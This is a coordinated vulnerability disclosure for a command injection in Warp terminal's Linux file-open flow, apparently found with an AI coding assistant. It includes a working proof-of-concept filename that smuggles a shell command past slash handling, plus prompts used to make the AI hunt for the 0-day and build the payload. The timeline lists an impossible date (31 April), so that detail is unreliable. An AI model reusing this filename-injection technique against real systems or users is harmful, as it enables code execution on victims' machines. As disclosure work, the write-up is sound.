# [CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal

Disclosure status: Reported to vendor and coordinated through a private fix path.

## I. Introduction

[Warp](https://www.warp.dev/) is an agentic development environment, born out of the terminal. Use Warp's built-in coding agent, or bring your own CLI agent (Claude Code, Codex, Gemini CLI, and others).

Vulnerable component: Warp Linux external editor / system-default file-open flow

Advisory: GHSA-7xgc-mhc8-g7wc

CVE: CVE-2026-48731

Private fix reference: [https://github.com/warpdotdev/warp-ghsa-7xgc-mhc8-](https://github.com/warpdotdev/warp-ghsa-7xgc-mhc8-)g7wc/pull/1

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/c1d2e718-9add-4f2c-bd4a-29b6309ab663.png align="center")

## II. Target Selection

I was assigned the task of using AI to find bugs in open-source projects. Warp quickly stood out as an interesting target, but not for the usual reason.

What made it attractive was the combination of **large real-world adoption** and **new public source availability**.

According to Warp's own public announcement, the product was already being used by **nearly one million developers**. At the same time, Warp had only recently open-sourced its core product and moved the client codebase into a new public repository. That is exactly the kind of moment I like to audit:

*   the software already has a large user base,
    
*   the impact of a real bug can be significant,
    
*   but the code has only recently become broadly reviewable by external researchers.
    

Newly opened source code often creates a short window where a mature product gets fresh eyes from a lot of researchers for the first time. In practice, that can surface bugs that were previously hidden behind a closed-source boundary.

So my reasoning for choosing Warp was simple:

*   it was popular enough that a real finding would matter,
    
*   it was newly public enough that there was still unexplored attack surface,
    
*   and it was complex enough that AI-assisted auditing might actually save time.
    
*   It's ~61k star on github
    
    ![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/7185a279-d3d9-493c-9bb6-b2b552749b64.png align="center")
    

## III. Finding

After cloning the repository, I immediately proceeded to prompt for bug hunting. Here I used:

*   Claude Code
    
*   manual source review for validation
    
*   local runtime verification
    

Instead of asking a vague question like “find RCE,” I gave AI a narrower and more useful auditing task: inspect Linux file-opening paths, `.desktop` `Exec` templating, field-code expansion, and every place where a file path might cross into shell execution.

I used a prompt in this style:

```text
There is a 0-day RCE in this source code when a user opens a malicious file. Find it and report it.
```

After that initial direction, I kept narrowing the conversation around Linux file-opening behavior, `.desktop` `Exec` templating, and whether file-path data could cross into a shell execution sink.

That prompt shape worked well because it forced the model to reason about a very specific trust boundary:

*   file path as attacker-controlled input,
    
*   `.desktop` expansion as the transformation layer,
    
*   shell execution as the sink.
    

After that, the AI produced a result showing a suspicious flow in Warp's Linux external editor implementation:

*   `app/src/util/file/external_editor/linux.rs`
    
*   reached through `app/src/util/file/external_editor/mod.rs`
    
*   used by file-open actions in the workspace flow
    

The data flow it reconstructed was essentially:

```text
open file path
  -> choose Linux editor integration
  -> read .desktop Exec template
  -> expand %f / %F / %u / %U / %k
  -> append file-path-derived data into processed_exec
  -> execute with sh -c
```

The most important sink it highlighted was:

```rust
Command::new("sh").args(["-c", &processed_exec])
```

That was the key moment in the audit.

Once AI pointed out that Warp was not launching an editor with a structured argument vector, but was instead building one shell command string and handing it to `sh -c`, the rest of the review became much more focused.

## IV. AI Helped Build the Payload

Finding the code path was only half the work. The next step was turning the code-level suspicion into a payload that would survive filename parsing and prove command execution cleanly.

This is where AI was genuinely useful.

After identifying the `sh -c` sink, I continued prompting around payload construction: how to embed a command in a filename, how to avoid bad assumptions about slash handling, and how to make verification obvious.

The final PoC approach was:

1.  create a crafted filename containing shell metacharacters,
    
2.  have the injected command write `id` output to a predictable file,
    
3.  open the path through Warp's Linux external editor flow,
    
4.  verify the file was created with command output.
    

The resulting payload was:

```bash
touch '/tmp/warp-poc/legit; id > $(printf "\057")tmp$(printf "\057")warp_extedit_id.txt ;#.txt'
```

This filename injects an `id` command and constructs `/tmp/warp_extedit_id.txt` at shell runtime.

What I liked about this PoC is that it avoids hand-wavy “the shell might do something dangerous” language. It gives a concrete success condition:

```bash
cat /tmp/warp_extedit_id.txt
```

If that file contains the output of `id`, then the file path was interpreted as shell syntax and arbitrary command execution was achieved in the context of the local user running Warp.

## V. Runtime Evidence

The report captured runtime behavior from Warp logs while opening a crafted filename:

```text
Opening at "/tmp/warp-poc/legit; id > warp_marker.txt ;#.txt" + None
Command: Command { inner: "sh" "-c" "/opt/sublime_text/sublime_text /tmp/warp-poc/legit; id > warp_marker.txt ;#.txt", ... }
```

This was the final confirmation.

It proves both of the conditions required for exploitation:

*   the malicious filename survives into the generated command string, and
    
*   the final execution path is `sh -c`.
    

At that point, the shell sees the injected `; id > warp_marker.txt ;` segment as command separators and executes it.

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/f9670367-7f56-4337-b50a-5ebb1ab3d930.png align="center")

## VI. Proof of Concept

POC Video: https://drive.google.com/file/d/1BckT4XReTALLJNM6s3dg0hlMS8eZvIYR/view

The following PoC reproduces the issue on Linux using Warp's external editor opening behavior.

### 1\. Prepare the environment

```bash
sudo rm -rf /tmp/warp-poc
mkdir -p /tmp/warp-poc
chmod 777 /tmp/warp-poc
rm -f /tmp/warp_extedit_id.txt
```

### 2\. Create the crafted filename

```bash
touch '/tmp/warp-poc/legit; id > $(printf "\057")tmp$(printf "\057")warp_extedit_id.txt ;#.txt'
```

### 3\. Open the file from Warp

In Warp UI:

*   ensure the file link is opened through the Linux external-editor path,
    
*   use an external editor or default-app route that reaches the vulnerable implementation,
    
*   then open the crafted path.
    

### 4\. Verify command execution

```bash
cat /tmp/warp_extedit_id.txt
```

If the file contains the output of `id`, arbitrary command execution has been achieved in the context of the local user running Warp.

## VII. Impact

This issue is a **CWE-78 command injection vulnerability** in a real user-facing workflow.

Who is affected:

*   Linux Warp users
    
*   who open attacker-controlled or untrusted file paths
    
*   through Warp's external editor or system-default file-open flow
    

What an attacker can achieve:

*   arbitrary command execution as the local Warp user,
    
*   access to files and secrets available to that user,
    
*   file modification,
    
*   local persistence in user context,
    
*   and follow-on payload execution.
    

### Realistic attack scenarios

Potential sources of attacker-controlled paths include:

*   cloned repositories containing crafted filenames,
    
*   extracted archives,
    
*   test output or logs that expose clickable malicious paths,
    
*   or any workflow where a victim is persuaded to open what looks like a normal file link.
    

The exploit does not require privilege escalation by itself. It only requires that the victim trigger the vulnerable open-file flow on a malicious path.

## VIII. Timeline

*   Discovery date: 29/04/2026
    
*   Initial vendor contact: 29/04/2026
    
*   Vendor acknowledgment: 31/04/2026
    
*   Private fix / patch development: 23/05/2026
    
*   Advisory publication: 09/06/2026
    
*   Public disclosure: 09/06/2026
    

## IX. References

*   Warp repository: https://github.com/warpdotdev/warp
    
*   Warp documentation on files, links, and scripts: https://docs.warp.dev/terminal/more-features/files-and-links
    
*   Warp advisory reference: https://github.com/warpdotdev/warp/security/advisories/GHSA-7xgc-mhc8-g7wc
    
*   Private fix reference: https://github.com/warpdotdev/warp-ghsa-7xgc-mhc8-g7wc/pull/1